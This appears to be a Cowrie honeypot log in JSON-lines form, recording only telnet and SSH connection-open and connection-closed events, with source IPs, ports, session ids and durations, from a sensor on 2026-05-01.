{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52186,"dst_ip":"10.17.0.5","dst_port":23,"session":"98fb38545ca2","protocol":"telnet","message":"New connection: 104.167.8.156:52186 (10.17.0.5:23) [session: 98fb38545ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:39.298368Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":47912,"dst_ip":"159.203.135.109","dst_port":23,"session":"267a495d72bc","protocol":"telnet","message":"New connection: 98.70.41.28:47912 (159.203.135.109:23) [session: 267a495d72bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:39.410918Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":47940,"dst_ip":"159.203.135.109","dst_port":23,"session":"04395b50c7b2","protocol":"telnet","message":"New connection: 98.70.41.28:47940 (159.203.135.109:23) [session: 04395b50c7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:39.485443Z"}
{"eventid":"cowrie.session.closed","duration":31.143309354782104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:39.600497Z","src_ip":"104.167.8.156","session":"4fd0c838d457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980515003204346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:39.713159Z","src_ip":"104.167.8.156","session":"d20cab83d5d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57178,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a58e3f9361","protocol":"telnet","message":"New connection: 104.167.8.156:57178 (10.17.0.5:23) [session: 52a58e3f9361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:39.731948Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37830,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f6cf60b54c","protocol":"telnet","message":"New connection: 188.208.141.113:37830 (10.17.0.5:23) [session: b2f6cf60b54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:40.117598Z"}
{"eventid":"cowrie.session.closed","duration":30.811364889144897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:40.480174Z","src_ip":"104.167.8.156","session":"fdf68ef6df9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.280877351760864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:40.647861Z","src_ip":"98.70.41.28","session":"62ae95657017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30894136428833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:40.824055Z","src_ip":"104.167.8.156","session":"26bd27a5e271","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.86834001541138,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:40.977798Z","src_ip":"188.208.141.113","session":"2dafd16dbd36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58274,"dst_ip":"10.17.0.5","dst_port":23,"session":"20781a363feb","protocol":"telnet","message":"New connection: 104.167.8.156:58274 (10.17.0.5:23) [session: 20781a363feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:41.048387Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34930,"dst_ip":"10.17.0.5","dst_port":23,"session":"20a74081561e","protocol":"telnet","message":"New connection: 104.167.8.156:34930 (10.17.0.5:23) [session: 20a74081561e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:41.354751Z"}
{"eventid":"cowrie.session.closed","duration":31.009854793548584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:42.042659Z","src_ip":"104.167.8.156","session":"b1d67f161ff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37498,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac9d894cae92","protocol":"telnet","message":"New connection: 104.167.8.156:37498 (10.17.0.5:23) [session: ac9d894cae92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:42.150115Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34422,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38fa8d5e544","protocol":"telnet","message":"New connection: 104.167.8.156:34422 (10.17.0.5:23) [session: d38fa8d5e544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:42.238640Z"}
{"eventid":"cowrie.session.closed","duration":31.019821882247925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:42.296203Z","src_ip":"104.167.8.156","session":"f2afe26eeee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":47944,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f15513088aa","protocol":"telnet","message":"New connection: 98.70.41.28:47944 (159.203.135.109:23) [session: 4f15513088aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:42.526536Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56848,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c48cc83c5c","protocol":"telnet","message":"New connection: 104.167.8.156:56848 (10.17.0.5:23) [session: 58c48cc83c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:42.596704Z"}
{"eventid":"cowrie.session.closed","duration":31.202136993408203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:42.621335Z","src_ip":"104.167.8.156","session":"5308c1d1862c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41244,"dst_ip":"10.17.0.5","dst_port":23,"session":"327e232b57d5","protocol":"telnet","message":"New connection: 104.167.8.156:41244 (10.17.0.5:23) [session: 327e232b57d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.249001Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5b789411fdb","protocol":"telnet","message":"New connection: 104.167.8.156:37884 (10.17.0.5:23) [session: f5b789411fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.254950Z"}
{"eventid":"cowrie.session.closed","duration":31.29542303085327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.360891Z","src_ip":"104.167.8.156","session":"9bb0c7f93b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09504246711731,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.427391Z","src_ip":"104.167.8.156","session":"4046425e96a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41964,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a251ce9f8cd","protocol":"telnet","message":"New connection: 104.167.8.156:41964 (10.17.0.5:23) [session: 7a251ce9f8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.470014Z"}
{"eventid":"cowrie.session.closed","duration":31.51596999168396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.623792Z","src_ip":"104.167.8.156","session":"cff7f48629b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42838,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f33c8f32b61","protocol":"telnet","message":"New connection: 104.167.8.156:42838 (10.17.0.5:23) [session: 2f33c8f32b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.666826Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43164,"dst_ip":"10.17.0.5","dst_port":23,"session":"486df0b45cb2","protocol":"telnet","message":"New connection: 104.167.8.156:43164 (10.17.0.5:23) [session: 486df0b45cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.748027Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39986,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9a62db5d5c","protocol":"telnet","message":"New connection: 104.167.8.156:39986 (10.17.0.5:23) [session: 3d9a62db5d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.873048Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43876,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52b570ff1fd","protocol":"telnet","message":"New connection: 104.167.8.156:43876 (10.17.0.5:23) [session: f52b570ff1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.916398Z"}
{"eventid":"cowrie.session.closed","duration":31.891860485076904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:43.952098Z","src_ip":"104.167.8.156","session":"e99084a95324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44436,"dst_ip":"10.17.0.5","dst_port":23,"session":"c909441d9755","protocol":"telnet","message":"New connection: 188.208.141.113:44436 (10.17.0.5:23) [session: c909441d9755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:44.006329Z"}
{"eventid":"cowrie.session.closed","duration":30.837939977645874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:44.026309Z","src_ip":"104.167.8.156","session":"d3c3fad2d238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45134,"dst_ip":"10.17.0.5","dst_port":23,"session":"607f3f7b14b1","protocol":"telnet","message":"New connection: 104.167.8.156:45134 (10.17.0.5:23) [session: 607f3f7b14b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:44.289600Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":55546,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5a8126a2e3","protocol":"telnet","message":"New connection: 98.70.41.28:55546 (159.203.135.109:23) [session: 8a5a8126a2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:44.742934Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36974,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fdb38414841","protocol":"telnet","message":"New connection: 104.167.8.156:36974 (10.17.0.5:23) [session: 6fdb38414841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:45.026500Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44382,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9c15fe4e56","protocol":"telnet","message":"New connection: 104.167.8.156:44382 (10.17.0.5:23) [session: 5b9c15fe4e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:45.099531Z"}
{"eventid":"cowrie.session.closed","duration":31.032775402069092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:45.249494Z","src_ip":"104.167.8.156","session":"931b677c9975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50565791130066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:45.345394Z","src_ip":"104.167.8.156","session":"e764e7b0834e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.262477159500122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:45.531890Z","src_ip":"104.167.8.156","session":"193d048f6843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42912793159485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:45.582772Z","src_ip":"104.167.8.156","session":"80fa2bcf04b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47314,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbaef63bd83f","protocol":"telnet","message":"New connection: 104.167.8.156:47314 (10.17.0.5:23) [session: fbaef63bd83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:45.785055Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50900,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3bc63b4d59","protocol":"telnet","message":"New connection: 104.167.8.156:50900 (10.17.0.5:23) [session: eb3bc63b4d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:45.798136Z"}
{"eventid":"cowrie.session.closed","duration":30.264196395874023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.056012Z","src_ip":"104.167.8.156","session":"b51635985f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91976046562195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.368623Z","src_ip":"104.167.8.156","session":"f043ca13ec00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353047370910645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.395787Z","src_ip":"104.167.8.156","session":"4ddc3dab0282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53410,"dst_ip":"10.17.0.5","dst_port":23,"session":"4298888e6d14","protocol":"telnet","message":"New connection: 104.167.8.156:53410 (10.17.0.5:23) [session: 4298888e6d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.478245Z"}
{"eventid":"cowrie.session.closed","duration":31.35394811630249,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.494710Z","src_ip":"104.167.8.156","session":"7ee56ff2f036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50630,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff90a7dd55a3","protocol":"telnet","message":"New connection: 104.167.8.156:50630 (10.17.0.5:23) [session: ff90a7dd55a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.692627Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.36.229.122","src_port":43537,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb1e15ab4934","protocol":"ssh","message":"New connection: 102.36.229.122:43537 (10.17.0.5:22) [session: eb1e15ab4934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.717111Z"}
{"eventid":"cowrie.session.closed","duration":31.321269989013672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.789984Z","src_ip":"104.167.8.156","session":"39bf87d2db8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.879143953323364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.907083Z","src_ip":"104.167.8.156","session":"bf818bb4ded3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55062,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e085ce6268","protocol":"telnet","message":"New connection: 104.167.8.156:55062 (10.17.0.5:23) [session: b3e085ce6268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:46.959061Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:47.101057Z","src_ip":"102.36.229.122","session":"eb1e15ab4934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.012627840042114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:47.201418Z","src_ip":"104.167.8.156","session":"04573dc7264e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782883882522583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:47.217255Z","src_ip":"98.70.41.28","session":"ad4da0c8c3dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45268,"dst_ip":"10.17.0.5","dst_port":23,"session":"5089d8500320","protocol":"telnet","message":"New connection: 104.167.8.156:45268 (10.17.0.5:23) [session: 5089d8500320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:47.264796Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59248,"dst_ip":"10.17.0.5","dst_port":23,"session":"c464c267343a","protocol":"telnet","message":"New connection: 104.167.8.156:59248 (10.17.0.5:23) [session: c464c267343a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:48.100048Z"}
{"eventid":"cowrie.session.closed","duration":30.539591312408447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:48.155024Z","src_ip":"104.167.8.156","session":"f840be37e548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59468,"dst_ip":"10.17.0.5","dst_port":23,"session":"130db8a2ffce","protocol":"telnet","message":"New connection: 104.167.8.156:59468 (10.17.0.5:23) [session: 130db8a2ffce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:48.180292Z"}
{"eventid":"cowrie.session.closed","duration":31.2707040309906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:48.236547Z","src_ip":"98.70.41.28","session":"bb6104268c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59669828414917,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:48.645550Z","src_ip":"69.65.3.189","session":"0c6ea9de0f4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3653302192688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:48.952427Z","src_ip":"98.70.41.28","session":"fccb806882fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59596,"dst_ip":"10.17.0.5","dst_port":23,"session":"53883014abdc","protocol":"telnet","message":"New connection: 104.167.8.156:59596 (10.17.0.5:23) [session: 53883014abdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.216803Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52362,"dst_ip":"10.17.0.5","dst_port":23,"session":"11d6216d8b8f","protocol":"telnet","message":"New connection: 104.167.8.156:52362 (10.17.0.5:23) [session: 11d6216d8b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.220691Z"}
{"eventid":"cowrie.session.closed","duration":30.722245931625366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.231256Z","src_ip":"104.167.8.156","session":"c0aecb24c5a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff7e52ffb015","protocol":"telnet","message":"New connection: 104.167.8.156:36222 (10.17.0.5:23) [session: ff7e52ffb015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.499175Z"}
{"eventid":"cowrie.session.closed","duration":31.34996747970581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.708533Z","src_ip":"104.167.8.156","session":"c9dd7929f556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949115991592407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.736694Z","src_ip":"104.167.8.156","session":"a9e3dc1e059b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942264795303345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.740136Z","src_ip":"104.167.8.156","session":"34af303eaff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.177513360977173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.807868Z","src_ip":"104.167.8.156","session":"7a3cb1e1dfa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37486,"dst_ip":"10.17.0.5","dst_port":23,"session":"a07446640936","protocol":"telnet","message":"New connection: 104.167.8.156:37486 (10.17.0.5:23) [session: a07446640936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.894594Z"}
{"eventid":"cowrie.session.closed","duration":31.664874792099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:49.992662Z","src_ip":"104.167.8.156","session":"fac70ee648a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39452,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e94f03d1c87","protocol":"telnet","message":"New connection: 104.167.8.156:39452 (10.17.0.5:23) [session: 2e94f03d1c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:50.451412Z"}
{"eventid":"cowrie.session.closed","duration":31.089882135391235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:50.578544Z","src_ip":"104.167.8.156","session":"82543f30a119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40448,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1492bf9669f","protocol":"telnet","message":"New connection: 104.167.8.156:40448 (10.17.0.5:23) [session: d1492bf9669f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:50.730780Z"}
{"eventid":"cowrie.session.closed","duration":30.826546669006348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:51.123678Z","src_ip":"98.70.41.28","session":"9537bdfdca83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41563391685486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:51.304263Z","src_ip":"104.167.8.156","session":"c43d0ebc74c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00073766708374,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:51.413274Z","src_ip":"98.70.41.28","session":"d24b63588611","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81396746635437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:51.638815Z","src_ip":"104.167.8.156","session":"8fb382ece66d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":55562,"dst_ip":"159.203.135.109","dst_port":23,"session":"29c655fda507","protocol":"telnet","message":"New connection: 98.70.41.28:55562 (159.203.135.109:23) [session: 29c655fda507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:51.882747Z"}
{"eventid":"cowrie.session.closed","duration":31.722815990447998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:51.967327Z","src_ip":"104.167.8.156","session":"ca6396b22f57","protocol":"telnet"}
